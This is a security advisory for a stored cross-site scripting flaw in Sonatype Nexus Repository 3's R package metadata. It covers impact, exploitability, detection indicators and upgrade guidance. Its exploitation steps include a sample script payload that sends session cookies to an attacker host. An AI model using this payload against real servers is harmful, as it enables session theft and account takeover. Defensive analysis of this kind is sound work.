CVE-2026-97667: 
Sonatype Nexus 3 vulnerability analysis and mitigation

CVE-2026-97667 is a stored Cross-Site Scripting (XSS) vulnerability in Sonatype Nexus Repository 3 that allows an authenticated user with edit permissions on a hosted R repository to inject malicious script content into R package metadata. When another user views the affected package's details in the Browse UI, the injected script executes in their browser with their permissions. The vulnerability affects Nexus Repository 3 versions 3.28.0 through 3.96.x (fixed in 3.97.0), was disclosed on October 15, 2026, and carries a CVSS v4.0 base score of 5.1 (Medium) (Github Advisory, Feedly).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting): Nexus Repository 3 fails to sanitize or encode script content embedded in R package metadata before rendering it in the Browse user interface (Github Advisory). An attacker uploads a crafted R package to a hosted R repository, embedding JavaScript payloads in the package's metadata fields; when any user navigates to the package details page, the browser executes the stored script. Exploitation requires the attacker to hold the edit permission on a hosted R repository (a low-privilege authenticated role), and requires passive user interaction — a victim must open the package details page. Notably, if anonymous access is enabled and granted edit permissions on R repositories by an administrator, even unauthenticated users could trigger this attack (Feedly).

Successful exploitation allows the injected script to execute in the victim's browser with the victim's Nexus Repository session permissions, enabling actions such as unauthorized repository modifications, credential or session token theft, and privilege escalation if an administrator views the malicious package. The subsequent system confidentiality and integrity impacts are rated High in CVSS v4.0, meaning sensitive data accessible to the viewing user (including admin credentials or tokens) could be exfiltrated, and repository integrity could be compromised through actions performed on the victim's behalf (Github Advisory, Feedly). Availability of the Nexus Repository system itself is not directly impacted.

There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation at the time of disclosure (Feedly). The EPSS score is 0.0, reflecting a very low current probability of exploitation, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is not automatable (per NVD SSVC assessment) and requires both a low-privilege account with edit rights on an R repository and passive interaction from a victim user (Feedly). No threat actor attribution has been reported.

1. Obtain edit permissions: Acquire or compromise a Nexus Repository 3 account that has edit permission on a hosted R repository (or leverage anonymous access if it has been granted this permission by an administrator).
2. Craft a malicious R package: Create an R package with a JavaScript payload embedded in a metadata field (e.g., the package Title, Description, or another metadata field rendered in the Browse UI) — for example: Title: <script>document.location='https://attacker.example/steal?c='+document.cookie</script>.
3. Upload the package: Use the Nexus Repository API or UI to upload the crafted R package to the targeted hosted R repository.
4. Wait for victim interaction: Wait for a higher-privileged user (e.g., an administrator) to browse to the package details page in the Nexus Repository Browse UI.
5. Script executes: The stored XSS payload executes in the victim's browser session, allowing the attacker to steal session tokens, perform actions on behalf of the victim, or exfiltrate sensitive data accessible within the Nexus UI (Github Advisory).

• Network: Unexpected outbound HTTP requests from a user's browser to external domains immediately after browsing to a Nexus Repository package details page; unusual POST requests to Nexus API endpoints (e.g., repository management or user management APIs) originating from a browser session that does not match normal user behavior.
• Logs: Nexus Repository access logs showing uploads of R packages by low-privilege or anonymous accounts to hosted R repositories, followed shortly by administrative users browsing those same packages; audit log entries for repository or user configuration changes that the viewing user did not intentionally initiate.
• File System: Presence of R package files in hosted R repositories with unusual or oversized metadata fields containing HTML/JavaScript syntax (e.g., <script> tags in DESCRIPTION or metadata files within the package archive).

Upgrade Sonatype Nexus Repository 3 to version 3.97.0 or later, which contains the fix for this vulnerability (Sonatype Release Notes). As an interim workaround, restrict edit permissions on hosted R repositories to only fully trusted users, and review whether the anonymous user account has been granted edit permissions on any R repository — revoking such permissions if present. Administrators should audit all existing R packages in hosted repositories for suspicious metadata content prior to upgrading (Feedly).